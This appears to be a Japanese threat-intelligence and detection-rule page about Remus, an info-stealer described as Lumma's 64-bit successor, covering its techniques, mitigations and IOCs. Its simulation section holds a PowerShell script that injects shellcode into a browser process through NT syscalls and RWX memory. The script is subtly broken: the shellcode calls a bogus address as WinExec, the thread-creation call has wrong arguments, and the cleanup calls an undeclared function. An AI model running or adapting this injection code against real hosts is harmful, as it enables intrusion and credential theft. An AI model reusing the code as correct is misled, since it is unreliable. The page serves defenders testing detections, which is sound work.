Remus: Lumma Stealerの64ビット進化を明らかにする
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Gen Threat LabsはRemusと名付けられた新しい64ビット情報スティーラーを特定しました。これはLumma Stealer系の直接の後継者と見られます。Lummaの技術を反映し、既知のストリング難読化、アンチVMロジック、ダイレクトシステムコールの実行、以前Lummaに関連付けられていた特有のアプリケーションバインド暗号化(ABE)バイパスを含んでいます。RemusはまたC2解決モデルを変更し、SteamとTelegramのデッドドロップリゾルバに依存する代わりに、Ethereumスマートコントラクトを使用してコマンド&コントロールエンドポイントを決定するEtherHidingを採用しています。2026年2月から観察されており、このキャンペーンはブラウザ中心の窃盗に焦点を当て、資格情報、クッキー、暗号通貨ウォレットデータを狙っています。
調査
アナリストがRemusのサンプルを歴史的なLummaのバイナリと比較したところ、重複する実装の詳細が見つかりました。これには一致するコード構造、共有するワイルドカードスタイルの文字列、同じABEバイパスアプローチが含まれます。「Tenzor」とラベル付けされた遷移ビルドは、2つのファミリー間の橋渡しとして観察されました。逆アセンブル分析によると、Remusはdpapi.dllを見つけ出し、エクスポートされたAPI名をハッシュし、Chromeにシェルコード注入を試みます。注入に失敗した場合、SYSTEMトークン偽装に戻って実行のレバレッジを取り戻します。新しいアンチ分析機能には、サンドボックスDLLのハッシュチェックや分析環境を検出するための「ハニーポット」PSTファイル存在テストが含まれます。
軽減策
境界での既知のRemus関連のC2 IP/ドメインをブロックし、スマートコントラクトに基づくC2解決と一致する異常なルックアップやトラフィックパターンを含むEtherHidingの挙動を監視します。エンドポイント上では、ダイレクトシステムコール使用、APIハッシュ化、隠れたデスクトップ作成を含むステルス実行に一致するアーティファクトに対する検出を優先します。可能な限りChromiumベースの環境を強化してブラウザの露出を減らし、未承認のコード注入と疑わしい署名されていない実行ファイルの実行を防止するために厳格なアプリケーションコントロールを施行します。
対応
Remusのインジケーターが観察された場合は、ホストを隔離し、メモリダンプと完全なプロセスツリーをキャプチャして、注入されたブラウザプロセスに対する重点的なフォレンジックを実施します。確認されたC2インフラストラクチャをすべてブロックし、公開された資格情報を撤回し、保存されたブラウザのパスワード/トークンをリセットします。ワイルドカード文字列B9%????4rnO/@NQe?Nx*と報告された51バイトのシェルコード署名を含むように検出を更新します。
graph TB classDef malware fill:#ff9999 classDef technique fill:#99ccff classDef process fill:#ffcc99 classDef action fill:#c2f0c2 malware_remus[“<b>マルウェア</b> – Remus<br/><b>説明</b>: モジュール型バンキングトロイ、アンチ解析・リフレクティブロード・認証情報窃取機能”] class malware_remus malware tech_anti_analysis[“<b>技術</b> – T1497.002 サンドボックス回避: ユーザー行動チェック<br/><b>説明</b>: 仮想環境の検出や解析DLLを確認し、サンドボックスなら停止”] class tech_anti_analysis technique c2_resolve[“<b>アクション</b> – C2解決<br/><b>説明</b>: コマンド&コントロールサーバーのアドレスを決定”] class c2_resolve action tech_unpacking[“<b>技術</b> – T1027.002 難読化ファイル: ソフトウェアパッキング<br/><b>説明</b>: ストリング難読化、間接ジャンプ、syscall使用”] class tech_unpacking technique tech_reflective_load[“<b>技術</b> – T1620 リフレクティブコードロード<br/><b>説明</b>: Chromiumプロセスへ51バイトシェルコード注入”] class tech_reflective_load technique process_chrome[“<b>プロセス</b> – Chromium/Chrome<br/><b>説明</b>: シェルコードを受け取るブラウザプロセス”] class process_chrome process tech_browser_cred[“<b>技術</b> – T1555.003 ブラウザ認証情報<br/><b>説明</b>: マスターキーを復号しパスワードとCookieを取得”] class tech_browser_cred technique tech_general_cred[“<b>技術</b> – T1555 認証情報ストア<br/><b>説明</b>: 収集した認証情報をパッケージ化”] class tech_general_cred technique action_exfiltration[“<b>アクション</b> – 情報流出<br/><b>説明</b>: C2へデータ送信”] class action_exfiltration action malware_remus –>|実行| tech_anti_analysis tech_anti_analysis –>|次へ| c2_resolve c2_resolve –>|読み込み| tech_unpacking tech_unpacking –>|使用| tech_reflective_load tech_reflective_load –>|注入| process_chrome process_chrome –>|有効化| tech_browser_cred tech_browser_cred –>|生成| tech_general_cred tech_general_cred –>|流出| action_exfiltration
攻撃フロー
検出
疑わしいプロセスによるSteam Community DNSリクエスト(dns_query経由)
表示
疑わしいコマンド&コントロールによる異常なトップレベルドメイン(TLD)DNSリクエスト(dns経由)
表示
検出のためのIOC (HashSha256): Remus: 悪名高いLummaステイラーの64ビットバリアントの実態を明かす
表示
検出のためのIOC (HashSha1): Remus: 悪名高いLummaステイラーの64ビットバリアントの実態を明かす
表示
Remus ABEバイパステクニック検出 [Windowsプロセス生成]
表示
シミュレーション実行
前提条件: テレメトリー&ベースラインのプレフライトチェックが合格している必要があります。
理論: このセクションでは、検出ルールをトリガーするよう設計された敵の技術的手法(TTP)の正確な実行について詳しく説明します。コマンドと説明は直接TTPに反映され、検出ロジックが期待する正確なテレメトリーを生成することを目的としています。
-
攻撃の説明およびコマンド:
- プロセスの選択: 実行中のインスタンスの特定
browser.exe(名前を変更したChrome)とそのPIDの取得。 - シェルコードの準備: 小さな“calc.exe”起動シェルコードを作成します(典型的な概念実証用)。
- メモリの割り当て: 呼び出し NtAllocateVirtualMemory ターゲットプロセスのコンテキスト内でRWX領域を確保する。
- シェルコードの注入: Use NtWriteVirtualMemory を使用して割り当てられた領域にシェルコードをコピーします。
- 実行: リモートスレッドを生成し、 NtCreateThreadEx によって注入されたシェルコードアドレスでの実行を開始します。
- プロセスの選択: 実行中のインスタンスの特定
-
回帰テストスクリプト:
# Remus‑ABEシミュレーション – ネイティブNTシステムコールを使用したPowerShell実装 # 管理者として実行が必要 Add-Type -Namespace Win32 -Name NativeMethods -MemberDefinition @" using System; using System.Runtime.InteropServices; public class NativeMethods { [DllImport("ntdll.dll", SetLastError = true)] public static extern UInt32 NtAllocateVirtualMemory( IntPtr ProcessHandle, ref IntPtr BaseAddress, UIntPtr ZeroBits, ref UIntPtr RegionSize, UInt32 AllocationType, UInt32 Protect); [DllImport("ntdll.dll", SetLastError = true)] public static extern UInt32 NtWriteVirtualMemory( IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, UInt32 BufferLength, out UInt32 BytesWritten); [DllImport("ntdll.dll", SetLastError = true)] public static extern UInt32 NtCreateThreadEx( out IntPtr ThreadHandle, UInt32 DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr StartAddress, IntPtr Parameter, UInt32 CreateSuspended, UInt32 StackZeroBits, UInt32 SizeOfStackCommit, UInt32 SizeOfStackReserve, IntPtr AttributeList); } "@ # 1️⃣ ターゲットbrowser.exeプロセスの特定 $target = Get-Process -Name browser -ErrorAction Stop $hProcess = $target.Handle # 2️⃣ シェルコード – calc.exeの起動(Windows x64) $shellcode = [Byte[]]( 0x48,0x31,0xC0, # xor rax,rax 0x48,0x89,0xC2, # mov rdx,rax 0x48,0x89,0xC6, # mov rsi,rax 0x48,0x89,0xC7, # mov rdi,rax 0x48,0x8D,0x15,0x0F,0x00,0x00,0x00, # lea rdx,[rip+0xf] ; "calc.exe" 0x48,0xC7,0xC0,0xC7,0x00,0x00,0x00, # mov rax,0xc7 (WinExec) 0xFF,0xD0, # call rax 0xC3, # ret # "calc.exe" string 0x63,0x61,0x6C,0x63,0x2E,0x65,0x78,0x65,0x00 ) # 3️⃣ ターゲットにRWXメモリを割り当て $baseAddress = [IntPtr]::Zero $regionSize = [UIntPtr]$shellcode.Length $allocResult = [Win32.NativeMethods]::NtAllocateVirtualMemory( $hProcess, [ref]$baseAddress, [UIntPtr]0, [ref]$regionSize, 0x3000, # MEM_COMMIT|MEM_RESERVE 0x40 # PAGE_EXECUTE_READWRITE ) if ($allocResult -ne 0) { Write-Error "NtAllocateVirtualMemory failed: 0x$($allocResult.ToString('X'))" } # 4️⃣ シェルコードの書き込み $bytesWritten = 0 $writeResult = [Win32.NativeMethods]::NtWriteVirtualMemory( $hProcess, $baseAddress, $shellcode, $shellcode.Length, [ref]$bytesWritten ) if ($writeResult -ne 0) { Write-Error "NtWriteVirtualMemory failed: 0x$($writeResult.ToString('X'))" } # 5️⃣ リモートスレッド作成 $hThread = [IntPtr]::Zero $createResult = [Win32.NativeMethods]::NtCreateThreadEx( [ref]$hThread, 0x1F03FF, # THREAD_ALL_ACCESS $hProcess, $baseAddress, 0, # サスペンドされていません 0,0,0, ) if ($createResult -ne 0) { Write-Error "NtCreateThreadEx failed: 0x$($createResult.ToString('X'))" } else { Write-Host "シェルコード注入成功 – リモートスレッド開始(ハンドル: $hThread)" } -
クリーンアップコマンド:
# 注入されたスレッドを終了(まだ実行中の場合)し、割り当てられたメモリを解放 $proc = Get-Process -Name browser -ErrorAction SilentlyContinue if ($proc) { $hProcess = $proc.Handle # スレッドハンドルを閉じる if ($hThread -ne [IntPtr]::Zero) { [System.Runtime.InteropServices.Marshal]::Release($hThread) | Out-Null } # メモリを解放する(NtFreeVirtualMemory) $freeAddr = $baseAddress $regionSize = [UIntPtr]$shellcode.Length $null = [Win32.NativeMethods]::NtFreeVirtualMemory($hProcess, [ref]$freeAddr, [ref]$regionSize, 0x8000) # MEM_RELEASE } Write-Host "クリーンアップ完了。"
推奨事項の概要
- プロセス範囲の拡大: 他の高価値プロセス(例:
explorer.exe,svchost.exe)を含め、正確な browser.exe 名を避けるABE試行を捕捉します。 - システムコールの範囲の拡大: Add
NtMapViewOfSection,NtCreateSection、およびNtProtectVirtualMemoryをSyscall|containsリストに含めます。 - 行動異常検出: 大規模メモリ割り当てを相関付け(
RegionSize > 1 MB)し、同じプロセスでの後続のNtWriteVirtualMemoryを検出し、非典型的な注入パターンをフラグします。 - 既知の正当なシナリオのホワイトリスト: プラグインを通じてプロセスメモリ書き込みを正当に行うブラウザの許可リストを作成して、誤検出を減らします。
これらの強化手順を実施することで、ルールの耐性が 3 から 4‑5 評価まで増加し、敵が回避するのが実質的に難しくなります。